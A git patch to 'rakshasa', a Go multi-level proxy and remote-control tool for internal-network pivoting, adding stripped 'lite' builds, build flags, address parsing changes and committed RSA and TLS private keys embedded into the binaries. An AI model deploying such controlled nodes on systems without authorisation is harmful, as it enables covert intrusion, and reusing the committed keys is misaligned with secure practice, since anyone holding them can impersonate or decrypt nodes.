From ec51f136eb36139dfc50849587f1a0f067287756 Mon Sep 17 00:00:00 2001 From: Mob2003 <2252233695@qq.com> Date: Sun, 2 Apr 2023 21:43:50 +0800 Subject: [PATCH] =?UTF-8?q?=E4=BF=AE=E5=A4=8Dbug=EF=BC=8C=E5=A2=9E?= =?UTF-8?q?=E5=8A=A0lite=E7=89=88=E6=9C=AC?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 29 +++++++++++-- build.go | 80 +++++++++++++++++++++++++++++------ build/build_fullnode.bat | 2 +- build/build_fullnode_lite.bat | 23 ++++++++++ build/build_fullnode_lite.sh | 22 ++++++++++ build/build_node_lite.bat | 21 +++++++++ build/build_node_lite.sh | 17 ++++++++ cert/go.mod | 3 ++ cert/private.pem | 28 ++++++++++++ cert/public.pem | 9 ++++ cert/server.crt | 35 +++++++++++++++ cert/server.key | 51 ++++++++++++++++++++++ cert/tls.go | 30 +++++++++---- common/addr.go | 71 ++++++++++++------------------- common/cmd.go | 23 +++++----- config.yaml | 3 +- go.mod | 6 ++- go.sum | 2 - main.go | 6 +-- readme/rakshasa项目设计.md | 2 +- server/conn.go | 19 +++++---- server/http_proxy.go | 2 +- server/node.go | 41 +++++++++--------- server/raw_tcp_client.go | 2 +- server/remote_socks5.go | 2 +- server/shell.go | 25 ++++++----- server/shellcode.go | 2 +- server/shellcode_windows.go | 3 +- server/socks5.go | 10 ++--- 29 files changed, 428 insertions(+), 141 deletions(-) create mode 100644 build/build_fullnode_lite.bat create mode 100644 build/build_fullnode_lite.sh create mode 100644 build/build_node_lite.bat create mode 100644 build/build_node_lite.sh create mode 100644 cert/go.mod create mode 100644 cert/private.pem create mode 100644 cert/public.pem create mode 100644 cert/server.crt create mode 100644 cert/server.key diff --git a/README.md b/README.md index 2278fad..4722005 100644 --- a/README.md +++ b/README.md @@ -14,16 +14,22 @@ rakshasa是一个使用Go语言编写的强大多级代理工具,专为实现* ## 项目结构示例和截图 [点击查看更多介绍](./readme/rakshasa项目设计.md) +[win10+Proxifier实现内网穿透](./readme/rakshasa内网穿透--win10+Proxifier使用案例.md) ## 编译与使用 -全新生成证书与节点 +生成新的证书,编译所有版本节点 ```shell go run build.go -all ``` -只生成证书 +编译所有版本节点(不更新证书) +```shell +go run build.go -all -nocert +``` + +生成覆盖证书 ```shell go run build.go -gencert ``` @@ -38,7 +44,7 @@ go run build.go -fullnode go run build.go -node ``` -证书保存在cert目录下 +证书保存在cert目录下,可以使用第三方工具生成,请使用RSA PKCS1-V1.5 ```shell private.go --编译普通节点的时候要删除此文件 private.pem --与public.pem对应的公钥私钥,普通节点不包含私钥 @@ -46,6 +52,23 @@ public.pem server.crt --tls通讯证书 server.key --tls通讯私钥 ``` +## 版本区别 + +| | fullnode | node|fullnode_lite|node_lite| +| ---- | ---- |---- |---- |---- | +|连接其他节点 | √ |√ |√ |√ | +|启动本地socks5代理 | √ |√ |√ |√ | +|启动本地http代理 | √ |√ |√ |√ | +|启动多层代理 | √ |× |√ |× | +|远程shell| √ |× |√ |× | +|其他远程功能| √ |× |√ |× | +| 交互式CLI | √ |√ |× |× | +| check_proxy | √ |√ |× |× | + +简单来讲 +- fullnode 完全版,能控制别人,也能被控 +- node 能连接其他节点,但是不能对其他节点操控,适合作为被控端 +- lite版本,精简掉cli和net/http,与一些debug的代码 ## 使用图示 ![image](https://user-images.githubusercontent.com/128351726/226882870-f4f3cbc0-61df-486c-afc0-511d87586402.png) diff --git a/build.go b/build.go index bd0c917..3337714 100644 --- a/build.go +++ b/build.go @@ -1,8 +1,10 @@ package main import ( + "bufio" "flag" "fmt" + "io" "log" "os" "os/exec" @@ -11,14 +13,29 @@ import ( func main() { all := flag.Bool("all", false, "生成新的证书,生成控制端节点和普通节点") + nocert := flag.Bool("nocert", false, "不生成证书") gencert := flag.Bool("gencert", false, "生成证书") - fullNode := flag.Bool("fullnode", false, "只编译生成控制端节点+普通节点") + fullNode := flag.Bool("fullnode", false, "编译生成控制端节点+普通节点") node := flag.Bool("node", false, "只生成普通节点") + fullNodeLite := flag.Bool("fullnode-lite", false, "编译生成lite版本的: 控制端节点+普通节点") + nodeLite := flag.Bool("node-lite", false, "只生成lite版本的: 普通节点") + genfullNodePrivate := flag.Bool("gen-private", false, "将private.pem转为private.go") flag.Parse() if *all == true { *gencert = true *fullNode = true - *node = false + *node = true + *fullNodeLite = true + *nodeLite = true + } + if *nocert { + *gencert = false + } + if *genfullNodePrivate { + b, _ := os.ReadFile("./cert/private.pem") + data := fmt.Sprintf("package cert\r\n func init(){\r\nprivateKey=%#v\r\n}\r\n", b) + os.WriteFile("./cert/private.go", []byte(data), 0655) + return } if *gencert { if runtime.GOOS == "windows" { @@ -28,7 +45,7 @@ func main() { return } } else { - _, err := exec.Command("bin/bash", "-c", "cd gencert && go run main.go").CombinedOutput() + b, err := exec.Command("/bin/bash", "-c", "cd gencert && go run main.go").CombinedOutput() if err != nil { log.Fatal(`无法生成证书,请手动执行"cd gencert && go run main.go"`) return @@ -59,27 +76,62 @@ func main() { } else if *node { os.Remove("./cert/private.go") buildNode("build_node") - } else { + } + if *fullNodeLite { + b, _ := os.ReadFile("./cert/private.pem") + data := fmt.Sprintf("package cert\r\n func init(){\r\nprivateKey=%#v\r\n}\r\n", b) + os.WriteFile("./cert/private.go", []byte(data), 0655) + buildNode("build_fullnode_lite") + } else if *nodeLite { + os.Remove("./cert/private.go") + buildNode("build_node_lite") + } + if !*gencert && !*fullNode && !*node && !*fullNodeLite && !*nodeLite && !*genfullNodePrivate { flag.PrintDefaults() - } } func buildNode(name string) { if runtime.GOOS == "windows" { cmdstr := fmt.Sprintf(`cd build && %s.bat`, name) - _, err := exec.Command("cmd.exe", "/c", cmdstr).CombinedOutput() + err := runCommand("cmd.exe", "/c", cmdstr) + if err != nil { + log.Fatal(`无法编译,请手动执行 ` + cmdstr) + return + } + } else { + exec.Command("/bin/bash", "-c", "cd build && sudo chmod 755 "+name+".sh").CombinedOutput() + cmdstr := fmt.Sprintf(`cd build && ./%s.sh`, name) + err := runCommand("/bin/bash", "-c", cmdstr) if err != nil { log.Fatal(`无法编译,请手动执行 ` + cmdstr) return } - } else { - exec.Command("bin/bash", "-c", "cd build && sudo chmod 755 "+name+".sh").CombinedOutput() - cmdstr := fmt.Sprintf(`cd build && ./%s.sh`, name) - _, err := exec.Command("/bin/bash", "-c", cmdstr).CombinedOutput() - if err != nil { - log.Fatal(`无法编译,请手动执行 ` + cmdstr) - return - } } } +func runCommand(name string, arg ...string) error { + cmd := exec.Command(name, arg...) + stdout, err := cmd.StdoutPipe() + err = cmd.Start() + if err != nil { + return err + } + + //创建一个流来读取管道内内容,这里逻辑是通过一行一行的读取的 + reader := bufio.NewReader(stdout) + //实时循环读取输出流中的一行内容 + go func() { + + for { + line, err2 := reader.ReadString('\n') + if err2 != nil || io.EOF == err2 { + break + } + + fmt.Print(line) + } + + }() + cmd.Wait() + return err +} diff --git a/build/build_fullnode.bat b/build/build_fullnode.bat index 9e8d6bd..d262a5d 100644 --- a/build/build_fullnode.bat +++ b/build/build_fullnode.bat @@ -17,6 +17,6 @@ del "private.go" cd ../build build_node.bat ) ELSE ( - echo Ҳprivate.go,ʹ go run build.go -full-node + echo Ҳprivate.go,ʹ go run build.go -fullnode ping -n 3 127.0.0.1 > nul ) diff --git a/build/build_fullnode_lite.bat b/build/build_fullnode_lite.bat new file mode 100644 index 0000000..fe29568 --- /dev/null +++ b/build/build_fullnode_lite.bat @@ -0,0 +1,23 @@ +@echo off +cd ../ + +IF EXIST ./cert/private.go ( +cd rakshasa_lite +echo Start build fullnode-lite +echo build windows +set GOOS=windows +go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_fullnode_lite_amd64_win.exe main.go +echo build linux +set GOOS=linux +go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_fullnode_lite_amd64_linux main.go +echo build darwin +set GOOS=darwin +go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_fullnode_lite_amd64_darwin main.go +cd ../cert +del "private.go" +cd ../build +build_node_lite.bat +) ELSE ( + echo Ҳprivate.go,ʹ go run build.go -fullnode-lite +ping -n 3 127.0.0.1 > nul +) diff --git a/build/build_fullnode_lite.sh b/build/build_fullnode_lite.sh new file mode 100644 index 0000000..43fe42e --- /dev/null +++ b/build/build_fullnode_lite.sh @@ -0,0 +1,22 @@ +#! /bin/sh +cd ../ + +file=./cert/private.go + +if [ -f "$file" ]; then + cd rakshasa_lite +echo "Start build fullnode-lite" +echo "build windows" +GOOS=windows go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_fullnode_amd64_lite_win.exe main.go +echo "build linux" +GOOS=linux go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_fullnode_amd64_lite_linux main.go +echo "build darwin" +GOOS=darwin go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_fullnode_amd64_lite_darwin main.go +cd ../cert +rm -f "private.go" +cd ../build +chmod 755 build_node.sh +./build_node.sh +else + echo "找不到private.go,请使用 go run build.go -fullnode-lite来编译" +fi \ No newline at end of file diff --git a/build/build_node_lite.bat b/build/build_node_lite.bat new file mode 100644 index 0000000..be07cc0 --- /dev/null +++ b/build/build_node_lite.bat @@ -0,0 +1,21 @@ +@echo off +cd ../ + +IF EXIST ./cert/private.go ( +echo ɾprivate.goڱ +ping -n 3 127.0.0.1 > nul +) ELSE ( + cd rakshasa_lite +echo Start build node-lite +echo build windows +set GOOS=windows +go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_node_lite_amd64_win.exe main.go +echo build linux +set GOOS=linux +go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_node_lite_amd64_linux main.go +echo build darwin +set GOOS=darwin +go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_node_lite_amd64_darwin main.go +echo End + +) diff --git a/build/build_node_lite.sh b/build/build_node_lite.sh new file mode 100644 index 0000000..cf663df --- /dev/null +++ b/build/build_node_lite.sh @@ -0,0 +1,17 @@ +#! /bin/sh +cd ../ + +file=./cert/private.go + +if [ ! -f "$file" ]; then + cd rakshasa_lite +echo "Start build node-lite" +echo "build windows" +GOOS=windows go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_node_lite_amd64_win.exe main.go +echo "build linux" +GOOS=linux go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_node_lite_amd64_linux main.go +echo "build darwin" +GOOS=darwin go build -a -ldflags="-w -s" -trimpath -o ../bin/rakshasa_node_lite_amd64_darwin main.go +else + echo "请删除private.go后在编译" +fi \ No newline at end of file diff --git a/cert/go.mod b/cert/go.mod new file mode 100644 index 0000000..64b55f5 --- /dev/null +++ b/cert/go.mod @@ -0,0 +1,3 @@ +module cert + +go 1.20 diff --git a/cert/private.pem b/cert/private.pem new file mode 100644 index 0000000..2c8b324 --- /dev/null +++ b/cert/private.pem @@ -0,0 +1,28 @@ +-----BEGIN RSA Private Key----- +MIIEvwIBAAKCAQcAxKyN5To5fAulOKJ6Ngiv+iJ/ws4q45QYB4T6UfWfKfeaIdhY +ek3QTKDm6zbge1+c6qzHPt3tnjJkVqh1jpr5MZmr2vbfPQWCZrHMpcrK3VTv+2uq +ieYWE1nGb71ImufqKAIwc7OMyYXufHX9PQMGEubSUx4Fw/KwF3mMYZIwUNJs6Q6S +PzuEL9incITKw1tl93uGLHM7KlYcXcLQh1YYY3tWcLkjNmQJND8d6q3ie9Tov/HL +cItANnKVWQLtD7UcyLm8pzfOhIqQzD83nxOaXjVV9G4qViukuZ74kusNrS4o3F3v +bM+KKHVkYWypYkTx/w0eQ4HR4/iWIKKJ3pOHPtNJcni/qwIDAQABAoIBBmdLzdcI +ZqrNHwEI7TE2DN9OgVXanNIctSY15JdpbyhGoJCIJahO+ElW9RGzJ+IEjNEA4EEX +pLbC9spA/kVhBeLUOFvv774IB75SQg8N3NC0zLp7iP2WeB+/tiZ3/wtFJUnQJIyQ +UDCEBIcgHVqPHQCOdQcsrJCHBY++yklw06mPa55XmYb7STAgKmE1LxoJogV1t064 +Pvecc8/tjJrPkT3jMkTEJ6iJ+gyEdNxIOkz189MQ+SNjM+d0HRyApWpNDAEDKJgl +Q53yHCKtxqwgLqW6fD1OCODiL++BxSoYbfN16GyCiulXmnEGaCRYHRV0Gfliyjlj +N0A32RYE9P8NUgOSqTZsqVECgYQA8YBlCPuRzPXC3TTtMZY8ypybZydysOHFc0XE +QwkuuwmUcAPKsdrHOdT5d+fHt6u9lgz8HkpGBxuI+DB974fToJ2/2tc8ocjPv1qB +pDcPkKiRHOlXcMwTdYJj1baoMLmMtiSf1c2EJAh6yQnOniB+ZqfRaqRFZasVjGL2 +xZdumWyNpdMCgYQA0Hs2LvYPmvJ4zUqn+i6g7AFeocXzhqSBatlP4P0fCZRjjLRQ +5bfrJPCuXY3ehi01r+Ll+73tvF6HlvnlrwyXSq59Jv4v9AUy4BYNAZmAtugcsx1F +e2U4mIHiJ4UXIbrWG2CbTyxbLCRgPjUvhWnFYIIlYzq9EFS42vk/pe2n9bH/H8kC +gYQAvv/E6K3OSkO0si7ByY4A1l21qofQdYSaHOj4p+wDQXn6I/1buf5Fwr9l7icq +FWGGt73dSDeF2uk0EtaHQ4IxJb6dlf7UvT+MztJN5gqGDOrEmhESTuuYGD/fpY6o +xqB5YTTmFLpN4BG0ynsvJnCch6QCRE1XdWkxya4bbXquxjjMbnECgYNHAK+DbuoB +q3LY+AQdgKPtvMmt7uzxfjVVXo2F4q8fZBpDYWXr1qeO/SllU1vl9p/CN1R8WEMP +VGJ5WMKQy4j7NlIJZaiPQvYAu4HSeaUMpiCgH+f6Do8n4ZRUQU+PfUJOMKi0Xjbu +4bSlexekKFHAfJKfKPIbDb+nVBwJNtdtJiHtgQKBhACR7mGC7n0sEU5SJZhx3qwG +S8WglFmWzITsbuFcpJq223b5H1bTxLeOuDjREkwIgIR/S4YAW/2FByf6zMc7IbLJ +aes/tQVJ5JsggXt3tMGAUk2omqhwxetNGhmD4AiNo1v4LaczwRudMro05Q+w2OhN +9vCqsHbi1B+tLr36sHVbnMcYgg== +-----END RSA Private Key----- diff --git a/cert/public.pem b/cert/public.pem new file mode 100644 index 0000000..a1e5e02 --- /dev/null +++ b/cert/public.pem @@ -0,0 +1,9 @@ +-----BEGIN RSA Public Key----- +MIIBKDANBgkqhkiG9w0BAQEFAAOCARUAMIIBEAKCAQcAxKyN5To5fAulOKJ6Ngiv ++iJ/ws4q45QYB4T6UfWfKfeaIdhYek3QTKDm6zbge1+c6qzHPt3tnjJkVqh1jpr5 +MZmr2vbfPQWCZrHMpcrK3VTv+2uqieYWE1nGb71ImufqKAIwc7OMyYXufHX9PQMG +EubSUx4Fw/KwF3mMYZIwUNJs6Q6SPzuEL9incITKw1tl93uGLHM7KlYcXcLQh1YY +Y3tWcLkjNmQJND8d6q3ie9Tov/HLcItANnKVWQLtD7UcyLm8pzfOhIqQzD83nxOa +XjVV9G4qViukuZ74kusNrS4o3F3vbM+KKHVkYWypYkTx/w0eQ4HR4/iWIKKJ3pOH +PtNJcni/qwIDAQAB +-----END RSA Public Key----- diff --git a/cert/server.crt b/cert/server.crt new file mode 100644 index 0000000..59f1282 --- /dev/null +++ b/cert/server.crt @@ -0,0 +1,35 @@ +-----BEGIN CERTIFICATE----- +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 +Vxo17mAc +-----END CERTIFICATE----- diff --git a/cert/server.key b/cert/server.key new file mode 100644 index 0000000..419660f --- /dev/null +++ b/cert/server.key @@ -0,0 +1,51 @@ +-----BEGIN RSA PRIVATE KEY----- +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 +-----END RSA PRIVATE KEY----- diff --git a/cert/tls.go b/cert/tls.go index fe0a3c1..312f25c 100644 --- a/cert/tls.go +++ b/cert/tls.go @@ -8,22 +8,25 @@ import ( _ "embed" "encoding/base64" "encoding/pem" - "github.com/farmerx/gorsa" + "log" + + "github.com/farmerx/gorsa" ) //go:embed server.crt var rsaCert []byte //go:embed server.key -var PrivateKey []byte +var RsaPrivateKey []byte var Tlsconfig *tls.Config func init() { + //内置证书 - cert, err := tls.X509KeyPair(rsaCert, PrivateKey) + cert, err := tls.X509KeyPair(rsaCert, RsaPrivateKey) if err != nil { log.Panicln(err) return @@ -60,7 +63,6 @@ func init() { //go:embed public.pem var publicKey []byte - var privateKey []byte // 使用公钥进行加密 @@ -103,7 +105,7 @@ func RSAEncrypterByPrivByte(msg []byte) []byte { prienctypt, _ := gorsa.RSA.PriKeyENCTYPT([]byte(msg)) return prienctypt } -func RSADecrypterByPub(cipherText string) string{ +func RSADecrypterByPub(cipherText string) string { b, _ := base64.StdEncoding.DecodeString(cipherText) pubdecrypt, _ := gorsa.RSA.PubKeyDECRYPT(b) return string(pubdecrypt) @@ -112,7 +114,19 @@ func RSADecrypterByPubByte(cipherText []byte) []byte { pubdecrypt, _ := gorsa.RSA.PubKeyDECRYPT(cipherText) return pubdecrypt } -func init(){ - gorsa.RSA.SetPublicKey(string(publicKey)) - gorsa.RSA.SetPrivateKey(string(privateKey)) +func init() { + if err := gorsa.RSA.SetPublicKey(string(publicKey)); err != nil { + log.Fatalln("无法加载publicKey,请检查public.pem") + } + if len(privateKey) > 0 { + //fullnode + if err := gorsa.RSA.SetPrivateKey(string(privateKey)); err != nil { + log.Fatalln("无法加载privateKey,请检查private.go") + } + test := "hello world" + if RSADecrypterByPub(RSAEncrypterByPriv(test)) != test { + log.Fatalln("当前内置的public.pem 与 private.pem 无法正常加密解密") + } + } + } diff --git a/common/addr.go b/common/addr.go index c0abacd..67eedf9 100644 --- a/common/addr.go +++ b/common/addr.go @@ -4,7 +4,8 @@ import ( "encoding/base64" "errors" "fmt" - "github.com/dlclark/regexp2" + "regexp" + "net" "strconv" ) @@ -25,68 +26,52 @@ func ParseAddr(str string) (cfg *Addr, err error) { } }() - r, _ := regexp2.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\S+):(\d+)`, 0) - m, err := r.FindStringMatch(str) - if err != nil { - return nil, errors.New("配置解析错误," + err.Error()) - } + r, _ := regexp.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\S+):(\d+)`) + m := r.FindAllStringSubmatch(str, 1) + if m != nil { - var res_v []string - for _, v := range m.Groups() { - res_v = append(res_v, v.String()) - } - addr, err := net.ResolveTCPAddr("tcp", res_v[4]+":"+res_v[5]) + + addr, err := net.ResolveTCPAddr("tcp", m[0][4]+":"+m[0][5]) if err != nil { - return nil, errors.New("配置解析错误 " + res_v[4] + ":" + res_v[5] + " 不是有效的 地址:端口") + return nil, errors.New("配置解析错误 " + m[0][4] + ":" + m[0][5] + " 不是有效的 地址:端口") } return &Addr{ - scheam: res_v[1], - user: res_v[2], - passwd: res_v[3], - ip: res_v[4], + scheam: m[0][1], + user: m[0][2], + passwd: m[0][3], + ip: m[0][4], port: addr.Port, }, nil } - r, _ = regexp2.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\d+)`, 0) - m, err = r.FindStringMatch(str) - if err != nil { - return nil, errors.New("配置解析错误," + err.Error()) - } - if m != nil { - var res_v []string - for _, v := range m.Groups() { - res_v = append(res_v, v.String()) - } - port, _ := strconv.Atoi(res_v[4]) + r, _ = regexp.Compile(`^(http://|socks5://)?(\S+):(\S+)@(\d+)`) + m = r.FindAllStringSubmatch(str, 1) + if m != nil { + + port, _ := strconv.Atoi(m[0][4]) return &Addr{ - scheam: res_v[1], - user: res_v[2], - passwd: res_v[3], + scheam: m[0][1], + user: m[0][2], + passwd: m[0][3], ip: "", port: port, }, nil } - r, _ = regexp2.Compile(`^(http://|socks5://)?(\S+):(\S+)$`, 0) - m, err = r.FindStringMatch(str) - if err != nil { - return nil, 